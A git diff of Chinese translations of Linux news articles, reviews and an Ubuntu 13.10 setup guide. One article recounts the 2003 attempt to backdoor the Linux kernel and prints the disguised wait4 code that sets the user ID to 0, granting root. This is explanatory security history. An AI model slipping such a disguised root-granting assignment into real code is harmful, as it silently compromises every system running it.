+**安装程序**拥有易于控制的图形化界面,风格与Ubuntu类似。支持自动分区和手动分区。如下图所示,可以看到分区这一步的两个选项。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall1-600x410.png) + +选择自动分区,安装程序会自动创建两个分区,一个是Swap交换分区,另一个为主分区。如下图 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall3-600x419.png) + +不幸的是,自动分区模式更像是半自动,因为在上图的步骤中,用户需要手动设置挂载点。虽然设置挂载点只是个很简单的工作,但这还是足以让我们在所谓的“自动分区”上标一个“囧”字。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall2-600x410.png) + +下图中,设置用户账户时,可以看到是否允许使用传统root账户的选项。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall-600x413.png) + +所有的选项步骤完成后,安装程序开始正式安装,接下来我们可以喝杯茶发发呆。整个安装程序比较简单,只是它并没有“高级选项”。而目前,“高级选项”已经成为Ubuntu安装程序的标准组成部分。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall5-600x435.png) + +下图中,你可以选择是否打开某些功能。这些功能在安装完成后也可以随时修改。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall4-600x410.png) + +对其中任意一项功能,你还可以进行更详细的自定义设置。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop4-600x442.png) + +安装完成,系统重启后,你应该会看到下图中的登录界面。顺便一提,界面很漂亮,赞一个。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceLogin1-600x450.png) + +登录之后,可以看到桌面使用的是Openbox窗口管理器,这是一款最轻量级的窗口管理器,对于新手用户来说可能并不是特别适应。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop-600x450.png) + +默认情况下,在桌面或底部面板上点击鼠标右键可以呼出菜单栏。如下图所示,有4个桌面或者说工作台供用户选择。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop5-600x451.png) + +由于遵循KISS原则,标准路径中的home目录是不存在的,你需要自己创建他们,汗~。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceFM-598x475.png) + +再来看看应用程序,大部分用户都需要的一些标准应用程序默认已经安装好。默认安装的Web浏览器为Chromium。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceTaskM1-600x450.png) + +Semplice 5 默认并不安装办公套件,因此需要我们自己安装一个,根据仓库中的记录,我们可以选择LibreOffice 4.1.1。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop8-600x450.png) + +安装新程序或管理已有程序的时候,可以使用图形界面应用程序管理器 Synaptic Package Manager。它不像深度Linux软件中心那样有华丽的界面,但可以完成同样的工作。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop7-600x451.png) + +系统还在菜单中提供了一些Web应用程序(例如Facebook和Twitter),你也可以通过该发行版提供的工具添加其他Web应用。只需要按照下图所示,在命令行中输入命令(oneslip-add-app gtk)就可以了。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceOneslip.png) + +除了上面提到的两款管理器,系统还提供了其他图形化界面管理器。其中一个就是“服务设置管理器”,用户可以通过它来管理系统服务。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceDesktop6-354x475.png) + +另外一个是“任务管理器”。目前绝大部分Linux发行版上都已经配备了标准的图形化任务管理器,很高兴在一款以KISS原则设计的Linux发行版上,我们同样也能看到。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceTaskM-546x475.png) + +下图中,显示的是网络连接设置界面,用户可以为网络接口指定一个防火墙区域。但问题是提供该功能的防火墙程序FirewallD根本就没有安装,尽管用户可以从仓库中自行安装,也许是为了遵循KISS原则,但是默认连最基本的安全程序都没有,这样的发行版显然对安全问题非常不重视。 + +![](http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceNM-468x475.png) + +**Chakra**是我见到的第一个以KISS原则设计的Linux发行版,随着时间推移,开发者们已经渐渐改变立场,做出一些默认功能上的改进。这期间我学到的一件事就是,像Semplice这样的发行版并不是为新手用户而设计,它们更适合那些老用户——偏好资源友好、风格简约朴素的系统。 + +**相关源** +下载安装32位、64位系统ISO镜像点击[这里][1]。阅读发布公告点击[这里][2]。 + + +-------------------------------------------------------------------------------- + +via: http://www.linuxbsdos.com/2013/09/27/semplice-5-review-high-hopes/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + +[1]:http://semplice-linux.org/download +[2]:http://semplice-linux.org/blog/2013/09/semplice-5-released \ No newline at end of file diff --git a/published/201310/Shotwell 0.15 released with new features and fixes.md b/published/201310/Shotwell 0.15 released with new features and fixes.md new file mode 100644 index 0000000000..3885f36056 --- /dev/null +++ b/published/201310/Shotwell 0.15 released with new features and fixes.md @@ -0,0 +1,50 @@ +Shotwell 0.15发布了!添加了更多新功能及修复! +====================================== + +Ubuntu 默认安装了Shotwell,它能轻松的管理图片,提供基本的图库管理和图片编辑功能,以后将提供更多有用的功能. + +Shotwell 已经更新到0.15版本,带来了新的特征,修复了大量已知的bug,并进行了更多的优化。 + +`右击图片-->打开方式-->Shotwell图片编辑`,用Shotwell打开图片后,在下边有几个选项,其中包括Adjust(调整)选项。 + +点击`Adjust`按钮,用户能清楚的发现最新的Highlights(高亮)条目,这对于微调高亮很有帮助;举例来说,将'Highlights'设置调到很低,这样就能降低正在编辑的图片的明暗程度。 + +![](http://iloveubuntu.net/pictures_me/Shotwell%20015%20adjust.jpg) + +点击按钮条中的`Crop`按钮,弹出可更改大小的会话框,允许用户根据要求自定义大小裁剪图片,0.15版本的对话框增加了 **尺寸显示** 的功能。 + +改变会话框的大小,会实时的显示目前的尺寸大小,用户能自由随意观察修剪框中的尺寸;举个例子,为了得到一张640*480的图片,用户可以将裁剪框调整到640*480,在图片编辑器中便利地增添图片清晰度。 + +![](http://iloveubuntu.net/pictures_me/Shotwell%20015%20resize%20values.jpg) + +除此以外,Shotwell 0.15 还增添了: + +- 支持Youtube插件 OAuth/OpenID 认证 + +- 增强视频文件的再次导入 + +- 优化了视频的缩略图生成 + +- 修复了很多漏洞 + +我们怎么**安装** Shotwell 0.15呢? + +添加以下 **官方** PPA(Ubuntu 12.10, Ubuntu 13.04) + + sudo add-apt-repository ppa:yorba/ppa + + sudo apt-get update + sudo apt-get install shotwell + +Shotwell 0.15已经被放入了Ubuntu 13.10,你只需要定期的更新软件,便会帮你自动安装,享受它带给你的乐趣吧! + +--- + +via: http://iloveubuntu.net/shotwell-015-released-new-features-and-fixes + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[caroline](https://github.com/carolinewuyan) + +[1]:http://www.yorba.org/projects/shotwell/ +[2]:http://blog.yorba.org/eric/2013/10/shotwell-0-15-has-arrived.html diff --git a/published/201310/System 76 Ubuntu Touchscreen Laptop Now Available to Pre-Order.md b/published/201310/System 76 Ubuntu Touchscreen Laptop Now Available to Pre-Order.md new file mode 100644 index 0000000000..687ff97223 --- /dev/null +++ b/published/201310/System 76 Ubuntu Touchscreen Laptop Now Available to Pre-Order.md @@ -0,0 +1,53 @@ +现在可以预订System 76的Ubuntu触摸笔记本了!!! +=================================== + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/daru4-wallpaper-fall-homepage-750x423.jpg) + +**Ubuntu PC 制造商 System 76 已经公布了一款搭载Ubuntu 13.10的触摸笔记本.** + +Darter Ultra Thin 14.1寸高清笔记本 **搭载了Ubuntu多点触摸显示**,0.9英寸的厚度,约重4.60磅(大约2公斤)。令人吃惊的是,虽然受到了Linux电池管理缺陷的影响,电池居然能支持5个小时。 + +除了触摸屏外,也提供了传统的输入设备,如多点触摸板和巧克力式的键盘。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/daru4-logo-back.jpg) + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/daru4-right-side-close.jpg) + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/daru4-ports-left.jpg) + +普通版 **定价在899美元左右**,它带有: + +- Inel i5-4200U @ 1.5Ghz (双核) +- 4GB DDR3 RAM +- Intel HD 4400 显卡 +- 500 GB 5400 RPM HDD +- 集成WIFI和蓝牙 +- 一百万像素的网络摄像头 + +对于所有System 76电脑来说,你可以通过提高规格和添加可选的额外设备来定制你的神机。Dater提供的可选项包括有: + +- Inter 酷睿i5和i7 CPU +- 能扩展到16GB的DDR3 RAM +- 双储存,包括SSD + HDD的联合体. + +提供所有必要的端口: + +- HDMI 输出 +- 以太网 +- 2个USB3.0插口 +- 分开的耳机和麦克风插孔 +- SD 读卡器 + +更多关于Dater Thin的信息请访问System 76站点,到10月28号前,你都可以预订Dater Thin。 + +- [System76 Darter UltraThin 笔记本][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/system76-touchscreen-ubuntu-laptop-available-pre-order + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +[1]:https://www.system76.com/laptops/model/daru4 diff --git a/published/201310/The Debian OpenSSL Bug- Backdoor or Security Accident.md b/published/201310/The Debian OpenSSL Bug- Backdoor or Security Accident.md new file mode 100644 index 0000000000..2044a42460 --- /dev/null +++ b/published/201310/The Debian OpenSSL Bug- Backdoor or Security Accident.md @@ -0,0 +1,52 @@ +Debian OpenSSL Bug - 后门还是安全事故? +====================================================== + +之前,Ed 写了篇文章[《软件透明度》][1],主旨是如果软件开发的过程是透明的,那么软件对恶意的后门(以及无心的安全漏洞)就更具抵抗性。 + +软件透明的因素包括公开源代码,可以阅读源代码或为一个项目反馈的问题做出贡献,以及参与内部开发讨论。他提到一种情况,在这儿我想详细讨论一下:在2008年,Debian项目(一个用于web服务器的很流行的linux发行版),[宣称][2]Debian中[OpenSSL][3]的伪随机数生成器遭到破解,已经不安全了。 + +首先,了解一些背景信息:伪随机数生成器(PRNG)就是一个程序,假定代号为F。给定一个随机种子s,则会得到一个看起来随机的长的二进制序列F(s)。如果我和你都使用同样的种子s,两个人会得到同样的二进制序列。但是如果我随机选择一个s,也不告诉你s是什么,你根本不能够推测F(s)的结果,如你所期望的,F(s)就是随机的。OpenSSL中的PRNG试图从系统中抓取不可预测的信息(称之为"熵"),比如当前进程ID,或者很有可能是不同的内存内容(比如,由其它一些进程控制或可能控制的未初始化的内存)等等。把这些东西转换成种子s,就会得到随机比特流F(s)。 + +2006年,为了解决一个用于查找软件内存存取bug的[工具][5]的[警告问题][4],一名Debian维护者[决定注释掉][6]OpenSSL PRNG里的[两行代码][7]。但是这两行代码非常重要,它们负责抓取几乎所有的不可预测的熵,以作为OpenSSL PRNG的种子。没有这些代码,PRNG只有总共32,767个选择可作为种子s,因而也只有这么多的F(s)供选择。 + +这样一来,很多依赖于OpenSSL随机数生成器的程序,其实并没有它们以为的那么多的随机选择。比如,一个这样的程序要为SSL(安全网络浏览)和SSH(安全远程登录)生成秘钥。严格来说,这些秘钥必须是随机的:如果你可以猜到我的秘钥,你就可以破解我使用该秘钥保护的任何东西。这意味着你有能力读取加密的通讯信息,[登录到远程服务器][8],或者[伪造看起来似乎是真实的信息][9]。这个漏洞是2006年第一次引入,而且[进入到Ubuntu中][10](另一个流行的linux发行版,广泛应用于网络服务器)。漏洞影响到数以千计的服务器而且[存在了很长一段时间][11],因为只是给受影响的服务器打补丁还不足以解决问题,必须替换掉任何在漏洞存在情况下生成的秘钥。 + +顺便说一句,为伪随机数生成器寻找熵是个[著名][12]的[难题][13]。事实上,在今天来看要解决这个问题依然是个[巨大的挑战][14]。随机错误难以检测,因为当你盯着输出看时,每次运行程序结果都不一样,就像随机的一样。弱随机性很难发现,但是它可以使(貌似)安全的加密系统失效。不过,Debian中的那个漏洞很醒目,被发现后[在安全社区][15][引起了很多嘲笑][16]。 + +于是有人问,这是个故意设置的后门吗?似乎不大可能。做出这个更改的代码维护者 [Kurt Roeckx][17],后来成为[Debian项目的主管][18]。这意味着他是个可靠的家伙,不是为了插入漏洞而由NSA伪造出来的身份。想进入Debian项目组的核心,需要做出巨大的努力,那真是出了名的难进。这样看来,错误根本不是有意为之,而是[一系列失误][19]导致的,而且后果严重。 + +漏洞确实是在一个透明的环境下发生的。所做的任何一件事都是公开的。但是漏洞还是引入了,而且长时间未被注意到。部分原因在于,透明引起了很多混乱,导致本应发现这个显而易见的漏洞的人们也都没太在意。 +另外,也因为漏洞本身太过微妙,一个随意的观察者很难发现修改带来的影响。 + +这是否意味着软件透明没什么帮助? 我可不这么认为。许多人都赞同透明软件要比不透明软件更安全。但是这也并不表示漏洞不会产生,或者认为有其他人都看着呢而我们自己就可以掉以轻心。 + +至少,多年以后,透明可以让我们回顾,究竟是什么导致了某个漏洞--本文例子中,就是工程上的纰漏,而非人为破坏。 + +--- + +via: https://freedom-to-tinker.com/blog/kroll/software-transparency-debian-openssl-bug/ + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:https://freedom-to-tinker.com/blog/felten/software-transparency/ +[2]:http://www.debian.org/security/2008/dsa-1571 +[3]:https://www.openssl.org/ +[4]:http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516 +[5]:http://valgrind.org/ +[6]:http://marc.info/?l=openssl-dev&m=114651085826293&w=2 +[7]:http://svn.debian.org/viewsvn/pkg-openssl/openssl/trunk/rand/md_rand.c?rev=141&view=diff&r1=141&r2=140&p1=openssl/trunk/rand/md_rand.c&p2=/openssl/trunk/rand/md_rand.c +[8]:http://www.exploit-db.com/exploits/5622/ +[9]:http://plog.sesse.net/blog/tech/2008-05-14-17-21_some_maths.html +[10]:http://www.ubuntu.com/usn/usn-612-1/ +[11]:http://cseweb.ucsd.edu/~hovav/dist/debiankey.pdf +[12]:http://xkcd.com/221/ +[13]:http://dilbert.com/strips/comic/2001-10-25/ +[14]:https://factorable.net/weakkeys12.extended.pdf +[15]:http://www.links.org/?p=327 +[16]:http://www.xkcd.com/424/ +[17]:http://www.roeckx.be/journal/ +[18]:http://lists.debian.org/debian-devel-announce/2009/02/msg00009.html +[19]:http://research.swtch.com/openssl diff --git a/published/201310/The Linux Backdoor Attempt of 2003.md b/published/201310/The Linux Backdoor Attempt of 2003.md new file mode 100644 index 0000000000..b4a0f34080 --- /dev/null +++ b/published/201310/The Linux Backdoor Attempt of 2003.md @@ -0,0 +1,42 @@ +揭秘!:2003年Linux后门事件 +================================== + +最近Josh写了[一篇文章][1],讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是) + +今天我想讲述的是另外一个[事件][2]——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。 + +时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。 + +但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。 + +但是在2003年11月5日的时候,Larry McVoy[发现][3],CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。 + +神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码: + + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; + +[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看] + +猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“**= 0**”应该是“**== 0**”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,**将其值赋值为0**。 + +将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。 + +客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。 + +但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。 + +这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。 + +--- + +via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[tinyeyeser](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + + +[1]:https://freedom-to-tinker.com/blog/kroll/software-transparency-debian-openssl-bug/ +[2]:https://lwn.net/Articles/57135/ +[3]:https://lwn.net/Articles/57137/ diff --git a/published/201310/The Utilite Linux Mini PC.md b/published/201310/The Utilite Linux Mini PC.md new file mode 100644 index 0000000000..c234bb491b --- /dev/null +++ b/published/201310/The Utilite Linux Mini PC.md @@ -0,0 +1,35 @@ +屌丝专用!Linux迷你电脑 —— Utilite +=========================== + +同学们好~ + +除了完成日常工作,有时需要测试或使用某一个Linux发行版的时候,我们通常使用虚拟机,但这并不是最好的解决方案,你们是否听过Linux迷你电脑**Utilite**呢? + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/utilite-computer-3.jpg) + +对于正在寻找一款Linux迷你电脑,同时却囊中羞涩的同学来说,Utilite是一个非常棒的选择。这款设备由Compulab研发,Compulab同时还是MintBox的制造商。Mintbox就是一款运行Linux Mint操作系统的小型电脑盒子。基于ARM的Utilite售价仅为**99美刀**,性价比出色! + +**[Utilite][1]**标准版配置为**2G内存**、**4G存储容量**,支持micro-SD扩展卡。支持搭载Ubuntu或Android系统。如果你愿意,还可以购买升级版,**双核处理器**、**2G内存**、**8G存储** 以及micro-SD扩展卡支持。这款设备是该公司第一款基于ARM架构的产品,采用Freescale的i.MX6系列处理器。在我看来,如果买不起昂贵的硬件,这是运行Ubuntu和其他GNU/Linux操作系统的最佳方法。 + +Utilite有单核、双核、四核多个处理器方案,支持HDMI+DVI双接口,2倍Gbe千兆以太网,支持WiFi和蓝牙。除了标准版和升级版,Utilite还提供了专业版,配备四核处理器、2G内存、32G存储,下面是专业版的配置: + +- micro-SD card +- HDMI + DVI +- 2x GbE +- WiFi +- Bluetooth + +如配置中所示,这款迷你电脑还支持2个千兆以太网,PDIF音频输出、立体声音频插孔和RS232系列端口。Utilite的另一个巨大优势是耗电量非常低,只有3-8瓦。 + +各位屌丝,买不起土豪金,要不来一个Utilite试试~?玩好了还可以推荐给你的女神哦~! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/utilite-linux-mini-pc/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[tinyeyeser](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + + +[1]:http://utilite-computer.com/web/home \ No newline at end of file diff --git "a/published/201310/Top Things To Do After Installing Ubuntu 13.10 \342\200\230Saucy Salamander\342\200\231.md" "b/published/201310/Top Things To Do After Installing Ubuntu 13.10 \342\200\230Saucy Salamander\342\200\231.md" new file mode 100644 index 0000000000..8d3d4eb796 --- /dev/null +++ "b/published/201310/Top Things To Do After Installing Ubuntu 13.10 \342\200\230Saucy Salamander\342\200\231.md" @@ -0,0 +1,459 @@ +安装Ubuntu13.10 - Saucy Salamander(活泼的蝾螈)后的首要事情 +================================================ + +已于**10月17日**发布的 **Ubuntu 13.10 Saucy Salamander**,有着许多新的显著特点、较多的更新及明显的性能改进。这篇简短的操作手册(how-to)将会讨论在日常的使用中怎么样进一步提升Ubuntu 13.10的性能。 + +如果你已经装有Ubuntu以前的版本,想升级到最新的13.10的话,请参照着我们的指南一步一步操作。[升级到Ubuntu 13.10 Saucy Salamander][1]。 + +首先,在全新安装Ubuntu 13.10 Saucy后,第一步就是检查如下的几件事情。 + +**A. 它能正常的跑起来吗,如果不能,[查看我们以前发表的文章来解决相应的问题][2]。** + +**B. wifi连接速度是否正常,如果太慢,[查看我们以前发表的文章来解决相应的问题][3]。** + +## 1. 更新系统 ## + +安装完Ubuntu 13.10 Saucy后,首要的事情就是更新或升级软件源库,确保你的系统中的所有软件都更新到最新版本。 + + $ sudo apt-get update && sudo apt-get upgrade + +## 2. 安装Ubuntu Tweak软件 ## + +在Ubuntu系统或它的衍生发行版系统上,**Ubuntu Tweak** 是必须有的。它是一个应用程序,使用它,任何人都能很容易的配置Ubuntu系统。它提供了很多有用的桌面和系统选项,这些都是默认的桌面环境没有提供的。使用Ubuntu Tweak,只需要一个简单的点击,就可以安装所有需要的应用程序,还可以改变默认的从左到右的窗口按钮排列方式等等。 + +**阅读[专访Ubuntu Tweak的作者周鼎][4]。** + +**通过PPA安装Ubuntu Tweak** + +**注意**: 稳定的 Ubuntu-Tweak PPA还没有准备好,但有一个来源于讨论组并可用的PPA可以安装Ubutun-Tweak(译注:现在已经有了正式的了)。 + +打开终端,输入如下命令: + + $ sudo add-apt-repository ppa:tualatrix/next + $ sudo apt-get update + $ sudo apt-get install ubuntu-tweak + +这篇文章里提到的大部分应用程序,都可以在Ubuntu Tweak中心找到,并且通过点击就可安装。 + +如果你想学习怎么样使用[Ubuntu Tweak,请阅读我们以前的帖子文章][5]。 + +## 3. 桌面环境 ## + +**不喜欢Ubuntu 13.10默认的Unity,为什么不试试Cinnamon或者Gnome呢?** + +Cinnamon是GNOME 3的一个分支,它提供了一个有经典菜单的底部面板,这对于想使用经典底部菜单的Ubuntu用户来说相当有用。Ubuntu 13.10的默认源库里已经提供了Cinnamon,因此输入下面的命令就能安装。 + + sudo apt-get install cinnamon + +如果你想安装最新版本的cinnamon,就增加如下步骤: + + sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-nightly + sudo apt-get update + sudo apt-get install cinnamon + +注销当前登录会话,然后在登录提示窗口选择Cinnamon作为桌面会话。就可以进入Cinnamon的桌面环境。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Menu_011-1024x640.png) + +**警告**: 最新版本的Cinnamon会破坏原来的Unity,这在Ubuntu 13.04版本和13.10版本上都发现了同样的问题。希望在 Ubuntu 13.10稳定版本发布时会修复这个bug。欲了解更多信息,请参阅此[链接][7]。 + +**在Ubuntu 13.10上安装GNOME 3** + +要在Ubuntu 13.10上安装GNOME 3,输入如下命令: + + sudo apt-get install gnome-shell ubuntu-gnome-desktop + +在安装期间,安装程序会让你选择登录显示管理器(LightDM是Unity桌面默认的标准,GDM是GNOME桌面默认的标准,任一个都可以)。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Menu_001.png) + +## 4. 账户配置 ## + +**配置UbuntuOne账户** + +**UbuntuOne**可以让用户在线存储文件,然后在电脑和移动设备之间同步,也可以从云端获取音频和音乐到移动设备。如果你已经有一个帐号,你需要在顶部登陆,然后在您的电脑上设置一个文件夹,并开始同步你的数据,通讯录,照片等。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Ubuntu-One_005.png) + +你也可以从左侧的unity启动器里运行**UbuntuOne**: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Selection_004.png) + +**配置网上帐户** + +你需要做的首要事情之一就是设置你的网上帐户(Facebook,twitter……)。要做到这一点,直接点击右上角**齿轮形状**的按钮,并选择**系统设置**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Menu_007.png) + +然后选择网上帐户(如下所示)。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/System-Settings_008.png) + +现在设置您的网上帐户,就可以在Ubuntu里面得到消息通知。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Online-Accounts_010.png) + +## 5. 系统监控和Eye Candy工具## + +**为Ubuntu 13.10安装Conky工具** + +**[Conky] [8]**是一款免费的,轻量级的X窗口系统监控软件,能在您的桌面上显示任何的信息。有许多漂亮的主题可以选择,用来显示时钟、CPU使用率、内存使用率、交换空间信息,磁盘信息、网络信息或更多的系统信息。查看我们以前发表的关于在Ubuntu 12.04, 12.10,13.04或Ubuntu 13.10环境中[安装及配置conky的相关文章][9]。 + +**不喜欢默认的图标,想尝试一些很酷的图标?** + +试试下面很酷的图标集。 + +需要更改默认的图标,以符合您的口味?[查看这个漂亮的Ubuntu的图标集][10] (包含PPA)。 + +## 6. 多媒体软件的选择 ## + +###播放器### + +**VLC 媒体播放器:** + +在Linux平台上[VLC][11]是最好的媒体播放器,它几乎能播放所有的媒体文件,而且还具有其它多媒体播放器所没有的特性。如果你想知道VLC有些什么功能,请读读这篇文章:[VLC媒体播放器能做的25件事][12]! + +通过Ubuntu软件中心或者在终端中使用下面的命令就能安装VLC: + + sudo apt-get install vlc + +或者使用下面的PPA来安装最新的2.1.1版本。 + + sudo add-apt-repository ppa:videolan/stable-daily + sudo apt-get update + sudo apt-get install vlc + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/About_014.png) + +**XMBC:** + +**[XBMC][13]**是一个屡获殊荣的免费、开源的(GPL)媒体播放器软件及数字媒体娱乐中心。XBMC可以运行在Linux、OSX、windows及原来的Xbox平台上。XBMC做为一个标准的计算机媒体播放器应用程序,功能十分强大,它已经被设计为您的[家庭影院电脑HTPC][40]的最佳伴侣。因为它支持几乎是无限的远程控制,并配有漂亮的界面和强大的皮肤引擎,坐在沙发上操作非常舒适,所以XBMC是您的家庭影院的理想解决方案。 + +打开终端,拷贝下面的命令执行: + + sudo apt-get install xbmc + +###视频编辑### + +**Openshot视频编辑器:** + +我喜欢的视频编辑器是[Openshot][14],Linux平台专用的最好软件。可以直接从Ubuntu软件中心进行安装,但想安装最新发行版本的话,你得把下面的源库添加上: + +**注释**: 在写这篇文章的时候,13.10版本下,PPA还不可用。希望不久就会更新可用。 + + sudo add-apt-repository ppa:openshot.developers/ppa + sudo apt-get update + sudo apt-get install openshot openshot-doc + +也可以读读[采访乔纳森·托马斯][15]这文章。他是Openshot的主要开发者。 + +###视频编码器### + +**Handbrake:** + +查看我们以前的文章来了解这款叫做“Handbrake”的强大视频编码器软件。 + +[使用Handbrake对电影和视频编码][16] + +## 7. 安装常用编解码器以便能播放DVD ## + +也许安装几个常见的编解码器,可能会提升您的系统的可用性: + + sudo apt-get install gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg libxine1-ffmpeg gxine mencoder libdvdread4 totem-mozilla icedax tagtool easytag id3tool lame nautilus-script-audio-convert libmad0 mpg321 gstreamer1.0-libav + +要播放加密的DVD,libdvdcss 2包是必不可少的。libdvdcss是一个简单的,专门设计来访问DVD的库,就像访问块设备一样轻松,而不用考虑是否需要解密。 + + sudo /usr/share/doc/libdvdread4/./install-css.sh + +## 8. 让浏览器支持Flash ## + +**在32位或64位的Ubuntu系统上**: 为了能用浏览器(Firefox/Chrome)观看视频及浏览flash网站,你需要安装flash插件。打开**Ubuntu软件中心**搜索"**flash**",然后安装。 + +另外也可以输入下面的命令来安装flash插件。 + + sudo apt-get install flashplugin-installer + +## 9. BT软件 ## + +**uTorrent:** + +**uTorrent**是一款轻量级和高效能的BT客户端软件,它可以运行在Linux系统、windows系统和Mac系统上。uTorrent在Linux系统上的安装与在windows系统和Max系统上安装大不相同。在Linux中,uTorrent是做为网页服务端(web server)来运行的,而你可以使用浏览器来访问。为了能在浏览器上访问,你应该先开启他的服务。 + +查看我们以前的文章来了解更多的uTorrent信息。 + +[在Ubuntu/Debian/Linux Mint中怎样安装uTorrent客户端][17] + +**Deluge:** + +Deluge应用程序是一个全功能的BT客户端。它后端使用libtorrent库,用户界面(UI)使用PyGTK,并且在目前POSIX兼容的操作系统也可运行。它的目的是给像GNOME和Xfce等GTK桌面环境带来原生的、全功能客户端应用程序。官方的windows移植也可用。 + +打开终端,输入如下命令: + + sudo apt-get install deluge + +## 10. 即时消息软件 ## + +这里是为您的系统推荐的消息软件列表。不要所有的都安装。一个一个的装,找出最合你的一款,然后删除其它的。 + +**Pidgin** + 